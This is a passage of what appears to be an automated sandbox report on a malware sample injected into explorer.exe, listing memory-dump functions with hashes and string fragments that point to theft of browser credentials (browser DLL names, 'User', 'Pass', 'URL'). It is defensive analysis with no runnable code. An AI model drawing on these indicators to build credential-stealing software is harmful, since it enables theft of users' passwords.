                                                                                                                                                                                                            • Source File: 00000006.00000002.3719677892.000000000EAA0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0EAA0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_6_2_eaa0000_explorer.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: 2$c$d$d$d$e$i$l$l$l$n$n$p$s$t$u$w
                                                                                                                                                                                                            • API String ID: 0-1539916866
                                                                                                                                                                                                            • Opcode ID: e72b72cb0cc01a4fb435a8ab5948bc97e669459bbd1002971cdc116c820d8f81
                                                                                                                                                                                                            • Instruction ID: 32286a328a38cae436af1fd9fe4b8f6a07f18ea1cd0852b761aa5ab96341ace6
                                                                                                                                                                                                            • Opcode Fuzzy Hash: e72b72cb0cc01a4fb435a8ab5948bc97e669459bbd1002971cdc116c820d8f81
                                                                                                                                                                                                            • Instruction Fuzzy Hash: FB419070B1CB08CFDB14DF88A4556AD7BE6FB48710F00025ED40AD7245DBB59D498BD6
                                                                                                                                                                                                            Function 0E9EA622 Relevance: 21.4, Strings: 17, Instructions: 151COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000006.00000002.3719532394.000000000E940000.00000040.00000001.00040000.00000000.sdmp, Offset: 0E940000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_6_2_e940000_explorer.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: 2$c$d$d$d$e$i$l$l$l$n$n$p$s$t$u$w
                                                                                                                                                                                                            • API String ID: 0-1539916866
                                                                                                                                                                                                            • Opcode ID: e72b72cb0cc01a4fb435a8ab5948bc97e669459bbd1002971cdc116c820d8f81
                                                                                                                                                                                                            • Instruction ID: 91b4161405f9541e637e797f22a09b2f0e0097e6602e634674788db1546433ff
                                                                                                                                                                                                            • Opcode Fuzzy Hash: e72b72cb0cc01a4fb435a8ab5948bc97e669459bbd1002971cdc116c820d8f81
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 7941B070A18B088FDB14DF88A8456BE7BF6FB88700F00025EE909E3355DBB59D458BD6
                                                                                                                                                                                                            Function 0EADCAB2 Relevance: 17.8, Strings: 14, Instructions: 339COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000006.00000002.3719677892.000000000EAA0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0EAA0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_6_2_eaa0000_explorer.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: D$[$[$[$[$[$]$]$b$c$e$l$l$n
                                                                                                                                                                                                            • API String ID: 0-355182820
                                                                                                                                                                                                            • Opcode ID: 5b00ea5ff0ac38f91c5f3451741050e74e6bfffb06a4f81f7af14d2d93e98743
                                                                                                                                                                                                            • Instruction ID: 21b27869f69432872ecfbe1913c64c955b30a578a388aba72a8f3822a9b97a01
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 5b00ea5ff0ac38f91c5f3451741050e74e6bfffb06a4f81f7af14d2d93e98743
                                                                                                                                                                                                            • Instruction Fuzzy Hash: F3C15B75618B098FC758EF64C495A9AF7E5FB98304F404B2E949BC7210DF30A919CB8A
                                                                                                                                                                                                            Function 0E9F1AB2 Relevance: 17.8, Strings: 14, Instructions: 339COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000006.00000002.3719532394.000000000E940000.00000040.00000001.00040000.00000000.sdmp, Offset: 0E940000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_6_2_e940000_explorer.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: D$[$[$[$[$[$]$]$b$c$e$l$l$n
                                                                                                                                                                                                            • API String ID: 0-355182820
                                                                                                                                                                                                            • Opcode ID: 5b00ea5ff0ac38f91c5f3451741050e74e6bfffb06a4f81f7af14d2d93e98743
                                                                                                                                                                                                            • Instruction ID: 37b35d3319d374eee3be6196126b3892a32ae9ac62e7b719944d59fcc96ac9b4
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 5b00ea5ff0ac38f91c5f3451741050e74e6bfffb06a4f81f7af14d2d93e98743
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 3FC14A70618B09CBC759EF68C8956DAF3E5FBD8304F404B2AD5AAC7210DF30A955CB86
                                                                                                                                                                                                            Function 0EADCF12 Relevance: 15.2, Strings: 12, Instructions: 201COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000006.00000002.3719677892.000000000EAA0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0EAA0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_6_2_eaa0000_explorer.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: .$0$c$n$r$r$r$r$r$r$r$r
                                                                                                                                                                                                            • API String ID: 0-97273177
                                                                                                                                                                                                            • Opcode ID: c99d8b63ad26ee68af9772b0c2f17264c0bbc41cf5067afa0da8e01a5053a168
                                                                                                                                                                                                            • Instruction ID: c1bcc865e35d19abcbc896d56365f968a73a43821713c63d7aaa7d8bb6706d97
                                                                                                                                                                                                            • Opcode Fuzzy Hash: c99d8b63ad26ee68af9772b0c2f17264c0bbc41cf5067afa0da8e01a5053a168
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 4851073051C7488FD719DF18D4816AAB7E5FBC8704F501A2EE8CBC7241DBB4990ACB86
                                                                                                                                                                                                            Function 0E9F1F12 Relevance: 15.2, Strings: 12, Instructions: 201COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000006.00000002.3719532394.000000000E940000.00000040.00000001.00040000.00000000.sdmp, Offset: 0E940000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_6_2_e940000_explorer.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: .$0$c$n$r$r$r$r$r$r$r$r
                                                                                                                                                                                                            • API String ID: 0-97273177
                                                                                                                                                                                                            • Opcode ID: c99d8b63ad26ee68af9772b0c2f17264c0bbc41cf5067afa0da8e01a5053a168
                                                                                                                                                                                                            • Instruction ID: 5fa6238ce0069f637c4404137ac3eeb534938753995bf23e033743ee8cd3c934
                                                                                                                                                                                                            • Opcode Fuzzy Hash: c99d8b63ad26ee68af9772b0c2f17264c0bbc41cf5067afa0da8e01a5053a168
                                                                                                                                                                                                            • Instruction Fuzzy Hash: BD51CF712187488FD719DF18D8813AAB7E5FBC5304F501A2EE98B87252DBB49946CF82
                                                                                                                                                                                                            Function 0EAD62F4 Relevance: 10.4, Strings: 8, Instructions: 380COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000006.00000002.3719677892.000000000EAA0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0EAA0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_6_2_eaa0000_explorer.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: 4.dl$cli.$dll$dragon_s.dll$l$nspr$opera_browser.dll$sspi
                                                                                                                                                                                                            • API String ID: 0-639201278
                                                                                                                                                                                                            • Opcode ID: 3bb0ec29e48dc84c2f9ecdcc79ab9852c4e3249089256f700559b0558053754d
                                                                                                                                                                                                            • Instruction ID: d01aa635fb1407fbdd20ee69d55ee45a999274ec59668ee987baf4c015808d4b
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 3bb0ec29e48dc84c2f9ecdcc79ab9852c4e3249089256f700559b0558053754d
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 85C19C7061CA198FC758EF68D495AAAF3E1FB98300F514769940BC7255DF30AE0ACBC9
                                                                                                                                                                                                            Function 0EAD62F2 Relevance: 10.4, Strings: 8, Instructions: 380COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000006.00000002.3719677892.000000000EAA0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0EAA0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_6_2_eaa0000_explorer.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: 4.dl$cli.$dll$dragon_s.dll$l$nspr$opera_browser.dll$sspi
                                                                                                                                                                                                            • API String ID: 0-639201278
                                                                                                                                                                                                            • Opcode ID: f43930ec246ad51b32166c0bc4bf79f326171222225a5f9c9c86c27c8781e096
                                                                                                                                                                                                            • Instruction ID: 8dbef345f95c442cd1193bb869a8a6ebf2c9cb6b3a81dc7a8c72356194692cff
                                                                                                                                                                                                            • Opcode Fuzzy Hash: f43930ec246ad51b32166c0bc4bf79f326171222225a5f9c9c86c27c8781e096
                                                                                                                                                                                                            • Instruction Fuzzy Hash: F4C19C7061CA198FC758EF68D495AAAF7E1FB98300F504729940BC7254DF30AE09CBC9
                                                                                                                                                                                                            Function 0E9EB2F4 Relevance: 10.4, Strings: 8, Instructions: 380COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000006.00000002.3719532394.000000000E940000.00000040.00000001.00040000.00000000.sdmp, Offset: 0E940000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_6_2_e940000_explorer.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: 4.dl$cli.$dll$dragon_s.dll$l$nspr$opera_browser.dll$sspi
                                                                                                                                                                                                            • API String ID: 0-639201278
                                                                                                                                                                                                            • Opcode ID: 3bb0ec29e48dc84c2f9ecdcc79ab9852c4e3249089256f700559b0558053754d
                                                                                                                                                                                                            • Instruction ID: ae43a40132f492353f9fe6910bbeb8814e607deb7c5b61e12a54aaf9b7dca478
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 3bb0ec29e48dc84c2f9ecdcc79ab9852c4e3249089256f700559b0558053754d
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 7EC1AB70618A198FC759EB688495AEAB3E4FBD8300F50472AC55EC7251EF30EA01CBC6
                                                                                                                                                                                                            Function 0E9EB2F2 Relevance: 10.4, Strings: 8, Instructions: 380COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000006.00000002.3719532394.000000000E940000.00000040.00000001.00040000.00000000.sdmp, Offset: 0E940000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_6_2_e940000_explorer.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: 4.dl$cli.$dll$dragon_s.dll$l$nspr$opera_browser.dll$sspi
                                                                                                                                                                                                            • API String ID: 0-639201278
                                                                                                                                                                                                            • Opcode ID: f43930ec246ad51b32166c0bc4bf79f326171222225a5f9c9c86c27c8781e096
                                                                                                                                                                                                            • Instruction ID: dfbaf556764b2d003737aacbd7cb30d5a2db55c2c33b9e85a520d4af8ac40f17
                                                                                                                                                                                                            • Opcode Fuzzy Hash: f43930ec246ad51b32166c0bc4bf79f326171222225a5f9c9c86c27c8781e096
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 2AC1AC70618A198FC759EF68C495AAAB3E4FBD8300F50472AC55EC7251EF30EA41CBC6
                                                                                                                                                                                                            Function 0EAD7CD4 Relevance: 9.0, Strings: 7, Instructions: 299COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000006.00000002.3719677892.000000000EAA0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0EAA0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_6_2_eaa0000_explorer.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: UR$2$L: $Pass$User$name$word
                                                                                                                                                                                                            • API String ID: 0-2058692283
                                                                                                                                                                                                            • Opcode ID: 192ee3367620c7562f2382bb65b9fc05a299a96abcb0fffb8f15ec5ae1331477
                                                                                                                                                                                                            • Instruction ID: 426abb5d824afc1c7070368e5730b6e04cffccf605758a392b75f195cf80efeb
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 192ee3367620c7562f2382bb65b9fc05a299a96abcb0fffb8f15ec5ae1331477
                                                                                                                                                                                                            • Instruction Fuzzy Hash: EAA16F7061C7488FDB19EFA89444BEEB7E1FF98300F40462EE48AD7251EF7499498789
                                                                                                                                                                                                            Function 0E9ECCD4 Relevance: 9.0, Strings: 7, Instructions: 299COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000006.00000002.3719532394.000000000E940000.00000040.00000001.00040000.00000000.sdmp, Offset: 0E940000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_6_2_e940000_explorer.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: UR$2$L: $Pass$User$name$word
                                                                                                                                                                                                            • API String ID: 0-2058692283
                                                                                                                                                                                                            • Opcode ID: 192ee3367620c7562f2382bb65b9fc05a299a96abcb0fffb8f15ec5ae1331477
                                                                                                                                                                                                            • Instruction ID: 98657a704918ba404f27e145f68de13c792566ee64f16754c585185cdcd52f0b
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 192ee3367620c7562f2382bb65b9fc05a299a96abcb0fffb8f15ec5ae1331477
                                                                                                                                                                                                            • Instruction Fuzzy Hash: BFA1D2706187488FDB19EFA8D4447EEB7E1FF88300F404A2DE58AD7291EF7499458B89
                                                                                                                                                                                                            Function 0EAD7CE2 Relevance: 9.0, Strings: 7, Instructions: 288COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000006.00000002.3719677892.000000000EAA0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0EAA0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_6_2_eaa0000_explorer.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: UR$2$L: $Pass$User$name$word
                                                                                                                                                                                                            • API String ID: 0-2058692283
                                                                                                                                                                                                            • Opcode ID: 811dc63e753d913bd80861ecf29671c0ec5da9e3b6d1a04c89c314a6a3ecac4a
                                                                                                                                                                                                            • Instruction ID: af83a33141e61006342684920623fcbf307f0a6785b7a2e47b99de319dec91d2
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 811dc63e753d913bd80861ecf29671c0ec5da9e3b6d1a04c89c314a6a3ecac4a
                                                                                                                                                                                                            • Instruction Fuzzy Hash: F6915F7061C74C8FDB29EFA89444BEEB7E1FB98300F40462EE44BD7251EB7499498789
                                                                                                                                                                                                            Function 0E9ECCE2 Relevance: 9.0, Strings: 7, Instructions: 288COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000006.00000002.3719532394.000000000E940000.00000040.00000001.00040000.00000000.sdmp, Offset: 0E940000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_6_2_e940000_explorer.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: UR$2$L: $Pass$User$name$word
                                                                                                                                                                                                            • API String ID: 0-2058692283
                                                                                                                                                                                                            • Opcode ID: 811dc63e753d913bd80861ecf29671c0ec5da9e3b6d1a04c89c314a6a3ecac4a
                                                                                                                                                                                                            • Instruction ID: 0ddd5c0b3e3456e7ec23b17bc3a7a263dedeeb6fb33951cb3dca46d621c7f802
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 811dc63e753d913bd80861ecf29671c0ec5da9e3b6d1a04c89c314a6a3ecac4a
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 5B91B1706187488FDB19EFA8D4447EEB7E1FF88300F404A2DE58AD7291EF7489458B85
                                                                                                                                                                                                            Function 0EAD7352 Relevance: 6.5, Strings: 5, Instructions: 242COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000006.00000002.3719677892.000000000EAA0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0EAA0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_6_2_eaa0000_explorer.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: $.$e$n$v
                                                                                                                                                                                                            • API String ID: 0-1849617553
                                                                                                                                                                                                            • Opcode ID: 88e172b8451cd2a9b002e6988e8bcb77ce4cb4dc6623ca34b6f08ddcd3f94e84
                                                                                                                                                                                                            • Instruction ID: 923d46cd00a329238280936c93919b5f7d8bddcf1d63534dd61fa441a05e33db
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 88e172b8451cd2a9b002e6988e8bcb77ce4cb4dc6623ca34b6f08ddcd3f94e84
                                                                                                                                                                                                            • Instruction Fuzzy Hash: D0714E71618A498FD759EFA8C4847AAB7F1FF58304F000A2EE44BC7261EB71DD498B85
                                                                                                                                                                                                            Function 0EAD2C32 Relevance: 6.4, Strings: 5, Instructions: 175COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000006.00000002.3719677892.000000000EAA0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0EAA0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_6_2_eaa0000_explorer.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: 2.dl$dll$l32.$ole3$shel
                                                                                                                                                                                                            • API String ID: 0-1970020201
                                                                                                                                                                                                            • Opcode ID: b134dbd9f6717a83955f5285ab3b339b989e1d50f8699707141bdd3daa24f32e
                                                                                                                                                                                                            • Instruction ID: 67a286f6794e9520e620b34c7fb21d08a1dfc262da8b0fda804c601fae728947
                                                                                                                                                                                                            • Opcode Fuzzy Hash: b134dbd9f6717a83955f5285ab3b339b989e1d50f8699707141bdd3daa24f32e
                                                                                                                                                                                                            • Instruction Fuzzy Hash: E35139B0918B4C8BDB64EFA4C045AEAB7E1FF58300F404A2E949BE7214EF7095458B99
                                                                                                                                                                                                            Function 0E9E7C32 Relevance: 6.4, Strings: 5, Instructions: 175COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000006.00000002.3719532394.000000000E940000.00000040.00000001.00040000.00000000.sdmp, Offset: 0E940000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_6_2_e940000_explorer.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: 2.dl$dll$l32.$ole3$shel
                                                                                                                                                                                                            • API String ID: 0-1970020201
                                                                                                                                                                                                            • Opcode ID: b134dbd9f6717a83955f5285ab3b339b989e1d50f8699707141bdd3daa24f32e
                                                                                                                                                                                                            • Instruction ID: cf5f99f72d81ef54a8f65ad382c707984511edce923c06eaded40a99dbaf2d90
                                                                                                                                                                                                            • Opcode Fuzzy Hash: b134dbd9f6717a83955f5285ab3b339b989e1d50f8699707141bdd3daa24f32e
                                                                                                                                                                                                            • Instruction Fuzzy Hash: D3514CB0918B4C8BDB54EFA4C044AEEB7F1FF98300F404A2ED59AE7214EF3095418B89
                                                                                                                                                                                                            Function 0EAD386F Relevance: 6.4, Strings: 5, Instructions: 157COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000006.00000002.3719677892.000000000EAA0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0EAA0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_6_2_eaa0000_explorer.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: 4$\$dll$ion.$vers
                                                                                                                                                                                                            • API String ID: 0-1610437797
                                                                                                                                                                                                            • Opcode ID: 946c6b85a27e95b541945c97fc8955ce25e9cbbf861c78f5b4a7a89501b4aa4c
                                                                                                                                                                                                            • Instruction ID: 6c0e3c6469e23be5411d13a26e114ad835073bd279efec0ebb92eae89df2c777
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 946c6b85a27e95b541945c97fc8955ce25e9cbbf861c78f5b4a7a89501b4aa4c
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 45417F3061CB488FCB65EF6498557EAB7E4FB98301F40462E998FC7250EF31D9098786
                                                                                                                                                                                                            Function 0E9E886F Relevance: 6.4, Strings: 5, Instructions: 157COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000006.00000002.3719532394.000000000E940000.00000040.00000001.00040000.00000000.sdmp, Offset: 0E940000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_6_2_e940000_explorer.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: 4$\$dll$ion.$vers
                                                                                                                                                                                                            • API String ID: 0-1610437797
                                                                                                                                                                                                            • Opcode ID: 946c6b85a27e95b541945c97fc8955ce25e9cbbf861c78f5b4a7a89501b4aa4c
                                                                                                                                                                                                            • Instruction ID: ae6af98acb64d613047c0a36de8ad009371b4c91c4712784162459330a8a54ed
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 946c6b85a27e95b541945c97fc8955ce25e9cbbf861c78f5b4a7a89501b4aa4c
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 1741A030218B488BCB79EF6488557EA73E4FBD8301F444A2E998ED7210EF30D945CB82
                                                                                                                                                                                                            Function 0EAD54B2 Relevance: 6.4, Strings: 5, Instructions: 149COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000006.00000002.3719677892.000000000EAA0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0EAA0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_6_2_eaa0000_explorer.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: 32.d$cli.$dll$sspi$user
                                                                                                                                                                                                            • API String ID: 0-327345718
                                                                                                                                                                                                            • Opcode ID: 4331b437e8e8c33b9d3042ca7a101e9875946b76dc224aa53cf86a4375d9541a
                                                                                                                                                                                                            • Instruction ID: b6bee227ca7662cdab30f9f4227390a6465f829eec1b6a89f667586bd4f2d81c
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 4331b437e8e8c33b9d3042ca7a101e9875946b76dc224aa53cf86a4375d9541a
                                                                                                                                                                                                            • Instruction Fuzzy Hash: E9414C30A1CE0DCFCB95EF6880947AD77E2FB6C300F50456AA80BD7210DA71DD448B8A
                                                                                                                                                                                                            Function 0E9EA4B2 Relevance: 6.4, Strings: 5, Instructions: 149COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000006.00000002.3719532394.000000000E940000.00000040.00000001.00040000.00000000.sdmp, Offset: 0E940000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_6_2_e940000_explorer.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: 32.d$cli.$dll$sspi$user
                                                                                                                                                                                                            • API String ID: 0-327345718
                                                                                                                                                                                                            • Opcode ID: 4331b437e8e8c33b9d3042ca7a101e9875946b76dc224aa53cf86a4375d9541a
                                                                                                                                                                                                            • Instruction ID: e22a68d55de65e9544e808360776b93bb3620c3970441552f0aa47c3062eeb5b
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 4331b437e8e8c33b9d3042ca7a101e9875946b76dc224aa53cf86a4375d9541a
                                                                                                                                                                                                            • Instruction Fuzzy Hash: D3414B30A18F0DCFCB55EF6880947AE77E5FB98300F50456AA90AD7711DEB1D9808B86
                                                                                                                                                                                                            Function 0EAD3432 Relevance: 5.1, Strings: 4, Instructions: 143COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000006.00000002.3719677892.000000000EAA0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0EAA0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_6_2_eaa0000_explorer.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: .dll$el32$h$kern
                                                                                                                                                                                                            • API String ID: 0-4264704552
                                                                                                                                                                                                            • Opcode ID: 9359c1e703a927bbfeba22f12881d3372b40fdd04c475320464a891c53438f4c
                                                                                                                                                                                                            • Instruction ID: 5b82bc2c3c4ca88eef1a4264afef8671c57150ef58314774adb4447580539592
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 9359c1e703a927bbfeba22f12881d3372b40fdd04c475320464a891c53438f4c
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 0D41527060CB484FDBA9DF2984983AAB7E1FB9C301F144A6E949EC3255DB70C949CB46
                                                                                                                                                                                                            Function 0E9E8432 Relevance: 5.1, Strings: 4, Instructions: 143COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000006.00000002.3719532394.000000000E940000.00000040.00000001.00040000.00000000.sdmp, Offset: 0E940000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_6_2_e940000_explorer.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: .dll$el32$h$kern
                                                                                                                                                                                                            • API String ID: 0-4264704552
                                                                                                                                                                                                            • Opcode ID: 9359c1e703a927bbfeba22f12881d3372b40fdd04c475320464a891c53438f4c
                                                                                                                                                                                                            • Instruction ID: a42f70b02afb9b58fea97e22799ac39270ddef2d7adf5b990a96706b36847bf7
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 9359c1e703a927bbfeba22f12881d3372b40fdd04c475320464a891c53438f4c
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 47417F70608B488FD7A9DF6884843AAB7E5FBE8300F144A6E959EC3665DF70C945CB81
                                                                                                                                                                                                            Function 0EADA0B9 Relevance: 5.1, Strings: 4, Instructions: 110COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
